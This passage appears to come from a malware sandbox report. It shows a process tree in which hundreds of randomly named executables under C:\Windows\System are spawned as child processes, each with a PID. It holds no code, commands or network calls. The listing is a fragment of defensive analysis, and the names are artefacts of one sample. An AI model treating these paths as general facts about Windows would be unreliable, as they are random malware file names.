  PID:4124
- C:\Windows\System\VWJXnhz.exe
  C:\Windows\System\VWJXnhz.exe
  2⤵
  PID:5628
- C:\Windows\System\IxvNqUv.exe
  C:\Windows\System\IxvNqUv.exe
  2⤵
  PID:5704
- C:\Windows\System\pFgtNPu.exe
  C:\Windows\System\pFgtNPu.exe
  2⤵
  PID:5960
- C:\Windows\System\nGmIIuJ.exe
  C:\Windows\System\nGmIIuJ.exe
  2⤵
  PID:5980
- C:\Windows\System\eMvsNGi.exe
  C:\Windows\System\eMvsNGi.exe
  2⤵
  PID:5800
- C:\Windows\System\GJHiXQG.exe
  C:\Windows\System\GJHiXQG.exe
  2⤵
  PID:6052
- C:\Windows\System\ViPalwe.exe
  C:\Windows\System\ViPalwe.exe
  2⤵
  PID:5324
- C:\Windows\System\AXXeRTf.exe
  C:\Windows\System\AXXeRTf.exe
  2⤵
  PID:5488
- C:\Windows\System\WdzjxUS.exe
  C:\Windows\System\WdzjxUS.exe
  2⤵
  PID:5564
- C:\Windows\System\BhPcGwh.exe
  C:\Windows\System\BhPcGwh.exe
  2⤵
  PID:5668
- C:\Windows\System\OlupDaK.exe
  C:\Windows\System\OlupDaK.exe
  2⤵
  PID:5844
- C:\Windows\System\fMvNmin.exe
  C:\Windows\System\fMvNmin.exe
  2⤵
  PID:5468
- C:\Windows\System\FTJVtEp.exe
  C:\Windows\System\FTJVtEp.exe
  2⤵
  PID:5944
- C:\Windows\System\PmObENr.exe
  C:\Windows\System\PmObENr.exe
  2⤵
  PID:6080
- C:\Windows\System\fxcRaBx.exe
  C:\Windows\System\fxcRaBx.exe
  2⤵
  PID:5304
- C:\Windows\System\zVEvVAz.exe
  C:\Windows\System\zVEvVAz.exe
  2⤵
  PID:5036
- C:\Windows\System\wJFtmEX.exe
  C:\Windows\System\wJFtmEX.exe
  2⤵
  PID:328
- C:\Windows\System\HxRRvMk.exe
  C:\Windows\System\HxRRvMk.exe
  2⤵
  PID:6092
- C:\Windows\System\OrBPmoU.exe
  C:\Windows\System\OrBPmoU.exe
  2⤵
  PID:5408
- C:\Windows\System\VmWPUce.exe
  C:\Windows\System\VmWPUce.exe
  2⤵
  PID:5172
- C:\Windows\System\zlwsbsl.exe
  C:\Windows\System\zlwsbsl.exe
  2⤵
  PID:4120
- C:\Windows\System\sQsVCXR.exe
  C:\Windows\System\sQsVCXR.exe
  2⤵
  PID:5632
- C:\Windows\System\ZFXvvKq.exe
  C:\Windows\System\ZFXvvKq.exe
  2⤵
  PID:5368
- C:\Windows\System\LzeguYM.exe
  C:\Windows\System\LzeguYM.exe
  2⤵
  PID:5768
- C:\Windows\System\CdKaktD.exe
  C:\Windows\System\CdKaktD.exe
  2⤵
  PID:5688
- C:\Windows\System\lKNSnIp.exe
  C:\Windows\System\lKNSnIp.exe
  2⤵
  PID:4896
- C:\Windows\System\DyzKhSi.exe
  C:\Windows\System\DyzKhSi.exe
  2⤵
  PID:5856
- C:\Windows\System\uXFGZUW.exe
  C:\Windows\System\uXFGZUW.exe
  2⤵
  PID:5296
- C:\Windows\System\YojEAiH.exe
  C:\Windows\System\YojEAiH.exe
  2⤵
  PID:6156
- C:\Windows\System\oBluSEj.exe
  C:\Windows\System\oBluSEj.exe
  2⤵
  PID:6172
- C:\Windows\System\quRwSgX.exe
  C:\Windows\System\quRwSgX.exe
  2⤵
  PID:6188
- C:\Windows\System\UJffVYa.exe
  C:\Windows\System\UJffVYa.exe
  2⤵
  PID:6208
- C:\Windows\System\Fnbpnbo.exe
  C:\Windows\System\Fnbpnbo.exe
  2⤵
  PID:6224
- C:\Windows\System\HVSGJMS.exe
  C:\Windows\System\HVSGJMS.exe
  2⤵
  PID:6240
- C:\Windows\System\ZBBVbYB.exe
  C:\Windows\System\ZBBVbYB.exe
  2⤵
  PID:6260
- C:\Windows\System\SLWLoWK.exe
  C:\Windows\System\SLWLoWK.exe
  2⤵
  PID:6276
- C:\Windows\System\HLTMIOK.exe
  C:\Windows\System\HLTMIOK.exe
  2⤵
  PID:6292
- C:\Windows\System\pDDSGal.exe
  C:\Windows\System\pDDSGal.exe
  2⤵
  PID:6308
- C:\Windows\System\jtIjwoo.exe
  C:\Windows\System\jtIjwoo.exe
  2⤵
  PID:6328
- C:\Windows\System\zrlqJqg.exe
  C:\Windows\System\zrlqJqg.exe
  2⤵
  PID:6344
- C:\Windows\System\Eqtniiz.exe
  C:\Windows\System\Eqtniiz.exe
  2⤵
  PID:6360
- C:\Windows\System\RgMpBDL.exe
  C:\Windows\System\RgMpBDL.exe
  2⤵
  PID:6376
- C:\Windows\System\cyNuLXl.exe
  C:\Windows\System\cyNuLXl.exe
  2⤵
  PID:6396
- C:\Windows\System\utTWxSY.exe
  C:\Windows\System\utTWxSY.exe
  2⤵
  PID:6428
- C:\Windows\System\EGgkXVC.exe
  C:\Windows\System\EGgkXVC.exe
  2⤵
  PID:6444
- C:\Windows\System\YqmgBBn.exe
  C:\Windows\System\YqmgBBn.exe
  2⤵
  PID:6464
- C:\Windows\System\EbmxXEO.exe
  C:\Windows\System\EbmxXEO.exe
  2⤵
  PID:6480
- C:\Windows\System\OFRsZZd.exe
  C:\Windows\System\OFRsZZd.exe
  2⤵
  PID:6500
- C:\Windows\System\aeSApaH.exe
  C:\Windows\System\aeSApaH.exe
  2⤵
  PID:6516
- C:\Windows\System\ikUlGom.exe
  C:\Windows\System\ikUlGom.exe
  2⤵
  PID:6532
- C:\Windows\System\zpIeSPi.exe
  C:\Windows\System\zpIeSPi.exe
  2⤵
  PID:6548
- C:\Windows\System\XmhpBQa.exe
  C:\Windows\System\XmhpBQa.exe
  2⤵
  PID:6564
- C:\Windows\System\voFxYDC.exe
  C:\Windows\System\voFxYDC.exe
  2⤵
  PID:6580
- C:\Windows\System\AbLTvqC.exe
  C:\Windows\System\AbLTvqC.exe
  2⤵
  PID:6600
- C:\Windows\System\zwhvUjQ.exe
  C:\Windows\System\zwhvUjQ.exe
  2⤵
  PID:6616
- C:\Windows\System\BILKXhL.exe
  C:\Windows\System\BILKXhL.exe
  2⤵
  PID:6632
- C:\Windows\System\vZDcBCm.exe
  C:\Windows\System\vZDcBCm.exe
  2⤵
  PID:6648
- C:\Windows\System\JeKAetd.exe
  C:\Windows\System\JeKAetd.exe
  2⤵
  PID:6672
- C:\Windows\System\grYBzza.exe
  C:\Windows\System\grYBzza.exe
  2⤵
  PID:6688
- C:\Windows\System\DPOWjEE.exe
  C:\Windows\System\DPOWjEE.exe
  2⤵
  PID:6704
- C:\Windows\System\yyDgzuj.exe
  C:\Windows\System\yyDgzuj.exe
  2⤵
  PID:6720
- C:\Windows\System\buaxTMb.exe
  C:\Windows\System\buaxTMb.exe
  2⤵
  PID:6736
- C:\Windows\System\JQEfiLK.exe
  C:\Windows\System\JQEfiLK.exe
  2⤵
  PID:6752
- C:\Windows\System\YcOxLcW.exe
  C:\Windows\System\YcOxLcW.exe
  2⤵
  PID:6768
- C:\Windows\System\fZYZnvG.exe
  C:\Windows\System\fZYZnvG.exe
  2⤵
  PID:6788
- C:\Windows\System\ULoxtHH.exe
  C:\Windows\System\ULoxtHH.exe
  2⤵
  PID:6808
- C:\Windows\System\pvyjMlg.exe
  C:\Windows\System\pvyjMlg.exe
  2⤵
  PID:6824
- C:\Windows\System\XEyhOvm.exe
  C:\Windows\System\XEyhOvm.exe
  2⤵
  PID:6844
- C:\Windows\System\xqIvnpy.exe
  C:\Windows\System\xqIvnpy.exe
  2⤵
  PID:6860
- C:\Windows\System\aFhBBJs.exe
  C:\Windows\System\aFhBBJs.exe
  2⤵
  PID:6876
- C:\Windows\System\FoNCVYU.exe
  C:\Windows\System\FoNCVYU.exe
  2⤵
  PID:6892
- C:\Windows\System\bGpnjpd.exe
  C:\Windows\System\bGpnjpd.exe
  2⤵
  PID:6908
- C:\Windows\System\WOvVBDV.exe
  C:\Windows\System\WOvVBDV.exe
  2⤵
  PID:6928
- C:\Windows\System\UAkaAdl.exe
  C:\Windows\System\UAkaAdl.exe
  2⤵
  PID:6944
- C:\Windows\System\lWXxGSv.exe
  C:\Windows\System\lWXxGSv.exe
  2⤵
  PID:6960
- C:\Windows\System\pFGOXan.exe
  C:\Windows\System\pFGOXan.exe
  2⤵
  PID:6980
- C:\Windows\System\atRvbiX.exe
  C:\Windows\System\atRvbiX.exe
  2⤵
  PID:6996
- C:\Windows\System\BCvqCTi.exe
  C:\Windows\System\BCvqCTi.exe
  2⤵
  PID:7012
- C:\Windows\System\gLZOdih.exe
  C:\Windows\System\gLZOdih.exe
  2⤵
  PID:7028
- C:\Windows\System\PAkDpWn.exe
  C:\Windows\System\PAkDpWn.exe
  2⤵
  PID:7044
- C:\Windows\System\JoEKDVl.exe
  C:\Windows\System\JoEKDVl.exe
  2⤵
  PID:7104
- C:\Windows\System\dxwZaWk.exe
  C:\Windows\System\dxwZaWk.exe
  2⤵
  PID:7120
- C:\Windows\System\RnetnQR.exe
  C:\Windows\System\RnetnQR.exe
  2⤵
  PID:7136
- C:\Windows\System\RvBPlZq.exe
  C:\Windows\System\RvBPlZq.exe
  2⤵
  PID:7152
- C:\Windows\System\wQrPqDy.exe
  C:\Windows\System\wQrPqDy.exe
  2⤵
  PID:6044
- C:\Windows\System\oGbaPHi.exe
  C:\Windows\System\oGbaPHi.exe
  2⤵
  PID:4332
- C:\Windows\System\vJoMURx.exe
  C:\Windows\System\vJoMURx.exe
  2⤵
  PID:4984
- C:\Windows\System\eaWzAOb.exe
  C:\Windows\System\eaWzAOb.exe
  2⤵
  PID:6180
- C:\Windows\System\SGmWeId.exe
  C:\Windows\System\SGmWeId.exe
  2⤵
  PID:6216
- C:\Windows\System\wyoYsGE.exe
  C:\Windows\System\wyoYsGE.exe
  2⤵
  PID:6324
- C:\Windows\System\kHuSFEQ.exe
  C:\Windows\System\kHuSFEQ.exe
  2⤵
  PID:6388
- C:\Windows\System\lVZLZZP.exe
  C:\Windows\System\lVZLZZP.exe
  2⤵
  PID:5224
- C:\Windows\System\ZHHmFuT.exe
  C:\Windows\System\ZHHmFuT.exe
  2⤵
  PID:6164
- C:\Windows\System\JrGPJQB.exe
  C:\Windows\System\JrGPJQB.exe
  2⤵
  PID:6268
- C:\Windows\System\EhQhdqr.exe
  C:\Windows\System\EhQhdqr.exe
  2⤵
  PID:6336
- C:\Windows\System\DIFjSPT.exe
  C:\Windows\System\DIFjSPT.exe
  2⤵
  PID:6436
- C:\Windows\System\zaPGYhK.exe
  C:\Windows\System\zaPGYhK.exe
  2⤵
  PID:5748
- C:\Windows\System\hdqCSZF.exe
  C:\Windows\System\hdqCSZF.exe
  2⤵
  PID:6232
- C:\Windows\System\WksSkIG.exe
  C:\Windows\System\WksSkIG.exe
  2⤵
  PID:6372
- C:\Windows\System\ArcsFyj.exe
  C:\Windows\System\ArcsFyj.exe
  2⤵
  PID:6424
- C:\Windows\System\gQzouwK.exe
  C:\Windows\System\gQzouwK.exe
  2⤵
  PID:5940
- C:\Windows\System\YFJDQzT.exe
  C:\Windows\System\YFJDQzT.exe
  2⤵
  PID:6460
- C:\Windows\System\NNNDgkO.exe
  C:\Windows\System\NNNDgkO.exe
  2⤵
  PID:6540
- C:\Windows\System\nMpmImt.exe
  C:\Windows\System\nMpmImt.exe
  2⤵
  PID:6488
- C:\Windows\System\GVcEFfC.exe
  C:\Windows\System\GVcEFfC.exe
  2⤵
  PID:6608
- C:\Windows\System\ovOVYdv.exe
  C:\Windows\System\ovOVYdv.exe
  2⤵
  PID:6592
- C:\Windows\System\aeZsWIX.exe
  C:\Windows\System\aeZsWIX.exe
  2⤵
  PID:6872
- C:\Windows\System\AdqlvPC.exe
  C:\Windows\System\AdqlvPC.exe
  2⤵
  PID:6988
- C:\Windows\System\zABdsUq.exe
  C:\Windows\System\zABdsUq.exe
  2⤵
  PID:6972
- C:\Windows\System\bvIbZsh.exe
  C:\Windows\System\bvIbZsh.exe
  2⤵
  PID:7020
- C:\Windows\System\FJzVvek.exe
  C:\Windows\System\FJzVvek.exe
  2⤵
  PID:7040
- C:\Windows\System\dTsddnd.exe
  C:\Windows\System\dTsddnd.exe
  2⤵
  PID:5992
- C:\Windows\System\TBmjcYy.exe
  C:\Windows\System\TBmjcYy.exe
  2⤵
  PID:5212
- C:\Windows\System\GfOSRNS.exe
  C:\Windows\System\GfOSRNS.exe
  2⤵
  PID:6392
- C:\Windows\System\rtDQhhV.exe
  C:\Windows\System\rtDQhhV.exe
  2⤵
  PID:6132
- C:\Windows\System\RRnCQIy.exe
  C:\Windows\System\RRnCQIy.exe
  2⤵
  PID:6440
- C:\Windows\System\wJZlHmg.exe
  C:\Windows\System\wJZlHmg.exe
  2⤵
  PID:6452
- C:\Windows\System\APWFgWf.exe
  C:\Windows\System\APWFgWf.exe
  2⤵
  PID:6496
- C:\Windows\System\fmIxwZi.exe
  C:\Windows\System\fmIxwZi.exe
  2⤵
  PID:6476
- C:\Windows\System\acMRGYw.exe
  C:\Windows\System\acMRGYw.exe
  2⤵
  PID:6528
- C:\Windows\System\qsagPYY.exe
  C:\Windows\System\qsagPYY.exe
  2⤵
  PID:6668
- C:\Windows\System\wDxoRgF.exe
  C:\Windows\System\wDxoRgF.exe
  2⤵
  PID:6716
- C:\Windows\System\VDzWvVx.exe
  C:\Windows\System\VDzWvVx.exe
  2⤵
  PID:6776
- C:\Windows\System\OQfuMyC.exe
  C:\Windows\System\OQfuMyC.exe
  2⤵
  PID:6764
- C:\Windows\System\MCUaGMC.exe
  C:\Windows\System\MCUaGMC.exe
  2⤵
  PID:6816
- C:\Windows\System\GQhwVBj.exe
  C:\Windows\System\GQhwVBj.exe
  2⤵
  PID:6796
- C:\Windows\System\nDALqGw.exe
  C:\Windows\System\nDALqGw.exe
  2⤵
  PID:6888
- C:\Windows\System\tWQWYvr.exe
  C:\Windows\System\tWQWYvr.exe
  2⤵
  PID:6804
- C:\Windows\System\phZQRtR.exe
  C:\Windows\System\phZQRtR.exe
  2⤵
  PID:6940
- C:\Windows\System\hJaRmLx.exe
  C:\Windows\System\hJaRmLx.exe
  2⤵
  PID:7052
- C:\Windows\System\bDSbXKg.exe
  C:\Windows\System\bDSbXKg.exe
  2⤵
  PID:7112
- C:\Windows\System\wJKySxW.exe
  C:\Windows\System\wJKySxW.exe
  2⤵
  PID:6048
- C:\Windows\System\xqAMhDb.exe
  C:\Windows\System\xqAMhDb.exe
  2⤵
  PID:6320
- C:\Windows\System\YiGDLRO.exe
  C:\Windows\System\YiGDLRO.exe
  2⤵
  PID:6304
- C:\Windows\System\FxIGYSN.exe
  C:\Windows\System\FxIGYSN.exe
  2⤵
  PID:6200
- C:\Windows\System\PziPpap.exe
  C:\Windows\System\PziPpap.exe
  2⤵
  PID:6560
- C:\Windows\System\evAeCrE.exe
  C:\Windows\System\evAeCrE.exe
  2⤵
  PID:6684
- C:\Windows\System\ucnxszP.exe
  C:\Windows\System\ucnxszP.exe
  2⤵
  PID:6868
- C:\Windows\System\usmoJnB.exe
  C:\Windows\System\usmoJnB.exe
  2⤵
  PID:6784
- C:\Windows\System\TNzgewL.exe
  C:\Windows\System\TNzgewL.exe
  2⤵
  PID:6384
- C:\Windows\System\CTAPeLH.exe
  C:\Windows\System\CTAPeLH.exe
  2⤵
  PID:6732
- C:\Windows\System\yfblTov.exe
  C:\Windows\System\yfblTov.exe
  2⤵
  PID:6840
- C:\Windows\System\NUUxSMV.exe
  C:\Windows\System\NUUxSMV.exe
  2⤵
  PID:7008
- C:\Windows\System\BFeaZPr.exe
  C:\Windows\System\BFeaZPr.exe
  2⤵
  PID:4688
- C:\Windows\System\WCMvrzG.exe
  C:\Windows\System\WCMvrzG.exe
  2⤵
  PID:6356
- C:\Windows\System\rBpqnNA.exe
  C:\Windows\System\rBpqnNA.exe
  2⤵
  PID:6680
- C:\Windows\System\vAvWHTn.exe
  C:\Windows\System\vAvWHTn.exe
  2⤵
  PID:6700
- C:\Windows\System\Oxikvcp.exe
  C:\Windows\System\Oxikvcp.exe
  2⤵
  PID:6456
- C:\Windows\System\XMiYmew.exe
  C:\Windows\System\XMiYmew.exe
  2⤵
  PID:6920
- C:\Windows\System\TWVSUvY.exe
  C:\Windows\System\TWVSUvY.exe
  2⤵
  PID:7132
- C:\Windows\System\BEZRPSf.exe
  C:\Windows\System\BEZRPSf.exe
  2⤵
  PID:6640
- C:\Windows\System\gXYCSUf.exe
  C:\Windows\System\gXYCSUf.exe
  2⤵
  PID:7164
- C:\Windows\System\WzrTuJL.exe
  C:\Windows\System\WzrTuJL.exe
  2⤵
  PID:6624
- C:\Windows\System\snjLgya.exe
  C:\Windows\System\snjLgya.exe
  2⤵
  PID:6712
- C:\Windows\System\rCRhFFf.exe
  C:\Windows\System\rCRhFFf.exe
  2⤵
  PID:6832
- C:\Windows\System\oiPNgcO.exe
  C:\Windows\System\oiPNgcO.exe
  2⤵
  PID:7172
- C:\Windows\System\wzyDppY.exe
  C:\Windows\System\wzyDppY.exe
  2⤵
  PID:7188
- C:\Windows\System\hiGCFDr.exe
  C:\Windows\System\hiGCFDr.exe
  2⤵
  PID:7204
- C:\Windows\System\ycIoVuP.exe
  C:\Windows\System\ycIoVuP.exe
  2⤵
  PID:7220
- C:\Windows\System\fRKxIdF.exe
  C:\Windows\System\fRKxIdF.exe
  2⤵
  PID:7236
- C:\Windows\System\tyhvDJm.exe
  C:\Windows\System\tyhvDJm.exe
  2⤵
  PID:7252
- C:\Windows\System\PtGWCFb.exe
  C:\Windows\System\PtGWCFb.exe
  2⤵
  PID:7268
- C:\Windows\System\JcqlJDE.exe
  C:\Windows\System\JcqlJDE.exe
  2⤵
  PID:7284
- C:\Windows\System\jivCYIP.exe
  C:\Windows\System\jivCYIP.exe
  2⤵
  PID:7300
- C:\Windows\System\UjvLFWj.exe
  C:\Windows\System\UjvLFWj.exe
  2⤵
  PID:7316
- C:\Windows\System\tlCSurK.exe
  C:\Windows\System\tlCSurK.exe
  2⤵
  PID:7332
- C:\Windows\System\HEuMhpi.exe
  C:\Windows\System\HEuMhpi.exe
  2⤵
  PID:7348
- C:\Windows\System\YKrtQlk.exe
  C:\Windows\System\YKrtQlk.exe
  2⤵
  PID:7364
- C:\Windows\System\pgzvNCQ.exe
  C:\Windows\System\pgzvNCQ.exe
  2⤵
  PID:7380
- C:\Windows\System\aeNyNwH.exe
  C:\Windows\System\aeNyNwH.exe
  2⤵
  PID:7396
- C:\Windows\System\uYwIFIF.exe
  C:\Windows\System\uYwIFIF.exe
  2⤵
  PID:7412
- C:\Windows\System\KNXRvub.exe
  C:\Windows\System\KNXRvub.exe
  2⤵
  PID:7428
- C:\Windows\System\vvuFNHE.exe
  C:\Windows\System\vvuFNHE.exe
  2⤵
  PID:7444
- C:\Windows\System\VhSARfU.exe
  C:\Windows\System\VhSARfU.exe
  2⤵
  PID:7460
- C:\Windows\System\HSWqdpq.exe
  C:\Windows\System\HSWqdpq.exe
  2⤵
  PID:7476
- C:\Windows\System\iWKtSUq.exe
  C:\Windows\System\iWKtSUq.exe
  2⤵
  PID:7492
- C:\Windows\System\AzaqBrU.exe
  C:\Windows\System\AzaqBrU.exe
  2⤵
  PID:7508
- C:\Windows\System\WsxXlGd.exe
  C:\Windows\System\WsxXlGd.exe
  2⤵
  PID:7524
- C:\Windows\System\drNEzea.exe
  C:\Windows\System\drNEzea.exe
  2⤵
  PID:7540
- C:\Windows\System\nFSbSCB.exe
  C:\Windows\System\nFSbSCB.exe
  2⤵
  PID:7556
- C:\Windows\System\eYTQHNS.exe
  C:\Windows\System\eYTQHNS.exe
  2⤵
  PID:7572
- C:\Windows\System\liYPBhi.exe
  C:\Windows\System\liYPBhi.exe
  2⤵
  PID:7588
- C:\Windows\System\nDfiSAX.exe
  C:\Windows\System\nDfiSAX.exe
  2⤵
  PID:7604
- C:\Windows\System\FVkOqwP.exe
  C:\Windows\System\FVkOqwP.exe
  2⤵
  PID:7620
- C:\Windows\System\gCmWqYd.exe
  C:\Windows\System\gCmWqYd.exe
  2⤵
  PID:7636
- C:\Windows\System\HnWiewx.exe
  C:\Windows\System\HnWiewx.exe
  2⤵
  PID:7652
- C:\Windows\System\DFdSjiV.exe
  C:\Windows\System\DFdSjiV.exe
  2⤵
  PID:7668
- C:\Windows\System\ZFJGkuT.exe
  C:\Windows\System\ZFJGkuT.exe
  2⤵
  PID:7684
- C:\Windows\System\AnBeIxC.exe
  C:\Windows\System\AnBeIxC.exe
  2⤵
  PID:7700
- C:\Windows\System\TsmLaex.exe
  C:\Windows\System\TsmLaex.exe
  2⤵
  PID:7716
- C:\Windows\System\OBIoTHh.exe
  C:\Windows\System\OBIoTHh.exe
  2⤵
  PID:7732
- C:\Windows\System\FilmVlt.exe
  C:\Windows\System\FilmVlt.exe
  2⤵
  PID:7752
- C:\Windows\System\vQXkGCH.exe
  C:\Windows\System\vQXkGCH.exe
  2⤵
  PID:7772
- C:\Windows\System\dfWJUCD.exe
  C:\Windows\System\dfWJUCD.exe
  2⤵
  PID:7788
- C:\Windows\System\LQuSKbN.exe
  C:\Windows\System\LQuSKbN.exe
  2⤵
  PID:7804
- C:\Windows\System\wGDMwua.exe
  C:\Windows\System\wGDMwua.exe
  2⤵
  PID:7820
- C:\Windows\System\kXXRoZw.exe
  C:\Windows\System\kXXRoZw.exe
  2⤵
  PID:7836
- C:\Windows\System\HMLkxuy.exe
  C:\Windows\System\HMLkxuy.exe
  2⤵
  PID:7852
- C:\Windows\System\laMDESF.exe
  C:\Windows\System\laMDESF.exe
  2⤵
  PID:7868
- C:\Windows\System\qumlmzS.exe
  C:\Windows\System\qumlmzS.exe
  2⤵
  PID:7884
- C:\Windows\System\SjCFSBW.exe
  C:\Windows\System\SjCFSBW.exe
  2⤵
  PID:7900
- C:\Windows\System\ZvWJnHx.exe
  C:\Windows\System\ZvWJnHx.exe
  2⤵
  PID:7916
- C:\Windows\System\BoppozM.exe
  C:\Windows\System\BoppozM.exe
  2⤵
  PID:7932
- C:\Windows\System\dtEyXvG.exe
  C:\Windows\System\dtEyXvG.exe
  2⤵
  PID:7948
- C:\Windows\System\HEGOVAT.exe
  C:\Windows\System\HEGOVAT.exe
  2⤵
  PID:7964
- C:\Windows\System\kOOeRph.exe
  C:\Windows\System\kOOeRph.exe
  2⤵
  PID:7980
- C:\Windows\System\KWHbNkP.exe
  C:\Windows\System\KWHbNkP.exe
  2⤵
  PID:7996
- C:\Windows\System\VDATOQZ.exe
  C:\Windows\System\VDATOQZ.exe
  2⤵
  PID:8012
- C:\Windows\System\fIpJtrC.exe
  C:\Windows\System\fIpJtrC.exe
  2⤵
  PID:8028
- C:\Windows\System\VlCketH.exe
  C:\Windows\System\VlCketH.exe
  2⤵
  PID:8044
- C:\Windows\System\eSeuAiW.exe
  C:\Windows\System\eSeuAiW.exe
  2⤵
  PID:8060
- C:\Windows\System\qVQNolc.exe
  C:\Windows\System\qVQNolc.exe
  2⤵
  PID:8076
- C:\Windows\System\wSgANpX.exe
  C:\Windows\System\wSgANpX.exe
  2⤵
  PID:8092
- C:\Windows\System\HrOwhWr.exe
  C:\Windows\System\HrOwhWr.exe
  2⤵
  PID:8108
- C:\Windows\System\fzHAsEU.exe
  C:\Windows\System\fzHAsEU.exe
  2⤵
  PID:8124
- C:\Windows\System\UdmiPVE.exe
  C:\Windows\System\UdmiPVE.exe
  2⤵
  PID:8140
- C:\Windows\System\fzmpBLD.exe
  C:\Windows\System\fzmpBLD.exe
  2⤵
  PID:8156
- C:\Windows\System\rOwrGTT.exe
  C:\Windows\System\rOwrGTT.exe
  2⤵
  PID:8172
- C:\Windows\System\lPyaFGz.exe
  C:\Windows\System\lPyaFGz.exe
  2⤵
  PID:8188
- C:\Windows\System\cqZkcNk.exe
  C:\Windows\System\cqZkcNk.exe
  2⤵
  PID:6852
- C:\Windows\System\RVgLOEb.exe
  C:\Windows\System\RVgLOEb.exe
  2⤵
  PID:7216
- C:\Windows\System\HydPFqH.exe
  C:\Windows\System\HydPFqH.exe
  2⤵
  PID:7244
- C:\Windows\System\FqkncYJ.exe
  C:\Windows\System\FqkncYJ.exe
  2⤵
  PID:7260
- C:\Windows\System\ecbyVbY.exe
  C:\Windows\System\ecbyVbY.exe
  2⤵
  PID:7292
- C:\Windows\System\rJHFNCm.exe
  C:\Windows\System\rJHFNCm.exe
  2⤵
  PID:7340
- C:\Windows\System\dgMzwKt.exe
  C:\Windows\System\dgMzwKt.exe
  2⤵
  PID:7376
- C:\Windows\System\iqjsCuE.exe
  C:\Windows\System\iqjsCuE.exe
  2⤵
  PID:7392
- C:\Windows\System\dRzdpTn.exe
  C:\Windows\System\dRzdpTn.exe
  2⤵
  PID:7440
- C:\Windows\System\CDRpzwC.exe
  C:\Windows\System\CDRpzwC.exe
  2⤵
  PID:7468
- C:\Windows\System\YjywAIb.exe
  C:\Windows\System\YjywAIb.exe
  2⤵
  PID:7504
- C:\Windows\System\pXRZJLa.exe
  C:\Windows\System\pXRZJLa.exe
  2⤵
  PID:7532
- C:\Windows\System\gJpfoYX.exe
  C:\Windows\System\gJpfoYX.exe
  2⤵
  PID:7568
- C:\Windows\System\HakmcDF.exe
  C:\Windows\System\HakmcDF.exe
  2⤵
  PID:7548
- C:\Windows\System\thyUFof.exe
  C:\Windows\System\thyUFof.exe
  2⤵
  PID:7628
- C:\Windows\System\AXCzAgh.exe
  C:\Windows\System\AXCzAgh.exe
  2⤵
  PID:7664
- C:\Windows\System\MwxKtmv.exe
  C:\Windows\System\MwxKtmv.exe
  2⤵
  PID:7724
- C:\Windows\System\eZmzSWv.exe
  C:\Windows\System\eZmzSWv.exe
  2⤵
  PID:7644
- C:\Windows\System\gZLxFWg.exe
  C:\Windows\System\gZLxFWg.exe
  2⤵
  PID:7768
- C:\Windows\System\MbvvlWS.exe
  C:\Windows\System\MbvvlWS.exe
  2⤵
  PID:7832
- C:\Windows\System\BLDAWxw.exe
  C:\Windows\System\BLDAWxw.exe
  2⤵
  PID:7712
- C:\Windows\System\edYmsXO.exe
  C:\Windows\System\edYmsXO.exe
  2⤵
  PID:7896
- C:\Windows\System\ySdNfqI.exe
  C:\Windows\System\ySdNfqI.exe
  2⤵
  PID:7960
- C:\Windows\System\aGebCuj.exe
  C:\Windows\System\aGebCuj.exe
  2⤵
  PID:7812
- C:\Windows\System\qTGAdFH.exe
  C:\Windows\System\qTGAdFH.exe
  2⤵
  PID:7988
- C:\Windows\System\elkNqYG.exe
  C:\Windows\System\elkNqYG.exe
  2⤵
  PID:8024
- C:\Windows\System\RNZqSgm.exe
  C:\Windows\System\RNZqSgm.exe
  2⤵
  PID:8036
- C:\Windows\System\TsNBGpc.exe
  C:\Windows\System\TsNBGpc.exe
  2⤵
  PID:7972
- C:\Windows\System\CIjaqjC.exe
  C:\Windows\System\CIjaqjC.exe
  2⤵
  PID:8040
- C:\Windows\System\qQzoLFJ.exe
  C:\Windows\System\qQzoLFJ.exe
  2⤵
  PID:8100
- C:\Windows\System\fmnHAKE.exe
  C:\Windows\System\fmnHAKE.exe
  2⤵
  PID:8120
- C:\Windows\System\ooaIvDu.exe
  C:\Windows\System\ooaIvDu.exe
  2⤵
  PID:6628
- C:\Windows\System\kFgXufb.exe
  C:\Windows\System\kFgXufb.exe
  2⤵
  PID:8136
- C:\Windows\System\uRYtnqz.exe
  C:\Windows\System\uRYtnqz.exe
  2⤵
  PID:5912
- C:\Windows\System\KlHvkDH.exe
  C:\Windows\System\KlHvkDH.exe
  2⤵
  PID:7200
- C:\Windows\System\IXtpHpR.exe
  C:\Windows\System\IXtpHpR.exe
  2⤵
  PID:7344
- C:\Windows\System\mzlkTTt.exe
  C:\Windows\System\mzlkTTt.exe
  2⤵
  PID:7184
- C:\Windows\System\tjKUAQB.exe
  C:\Windows\System\tjKUAQB.exe
  2⤵
  PID:7584
- C:\Windows\System\doeDdpU.exe
  C:\Windows\System\doeDdpU.exe
  2⤵
  PID:7616
- C:\Windows\System\ZDkbpne.exe
  C:\Windows\System\ZDkbpne.exe
  2⤵
  PID:7680
- C:\Windows\System\BPejYnV.exe
  C:\Windows\System\BPejYnV.exe
  2⤵
  PID:7564
- C:\Windows\System\FKVgnzb.exe
  C:\Windows\System\FKVgnzb.exe
  2⤵
  PID:7780
- C:\Windows\System\SAXrvRT.exe
  C:\Windows\System\SAXrvRT.exe
  2⤵
  PID:7864
- C:\Windows\System\VHVhPAc.exe
  C:\Windows\System\VHVhPAc.exe
  2⤵
  PID:7940
- C:\Windows\System\inZGwsg.exe
  C:\Windows\System\inZGwsg.exe
  2⤵
  PID:7908
- C:\Windows\System\PbGAshi.exe
  C:\Windows\System\PbGAshi.exe
  2⤵
  PID:8180
- C:\Windows\System\XBDVHoB.exe
  C:\Windows\System\XBDVHoB.exe
  2⤵
  PID:8104
- C:\Windows\System\uGbFjjk.exe
  C:\Windows\System\uGbFjjk.exe
  2⤵
  PID:7280
- C:\Windows\System\UoKheII.exe
  C:\Windows\System\UoKheII.exe
  2⤵
  PID:7212
- C:\Windows\System\nSAwIhM.exe
  C:\Windows\System\nSAwIhM.exe
  2⤵
  PID:7516
- C:\Windows\System\RHkFfir.exe
  C:\Windows\System\RHkFfir.exe
  2⤵
  PID:7456
- C:\Windows\System\wnUDKaN.exe
  C:\Windows\System\wnUDKaN.exe
  2⤵
  PID:7892
- C:\Windows\System\HLFTuRI.exe
  C:\Windows\System\HLFTuRI.exe
  2⤵
  PID:7536
- C:\Windows\System\kOfvdwJ.exe
  C:\Windows\System\kOfvdwJ.exe
  2⤵
  PID:7928
- C:\Windows\System\YIBKkYY.exe
  C:\Windows\System\YIBKkYY.exe
  2⤵
  PID:6204
- C:\Windows\System\kfsctQe.exe
  C:\Windows\System\kfsctQe.exe
  2⤵
  PID:6512
- C:\Windows\System\Dqifibl.exe
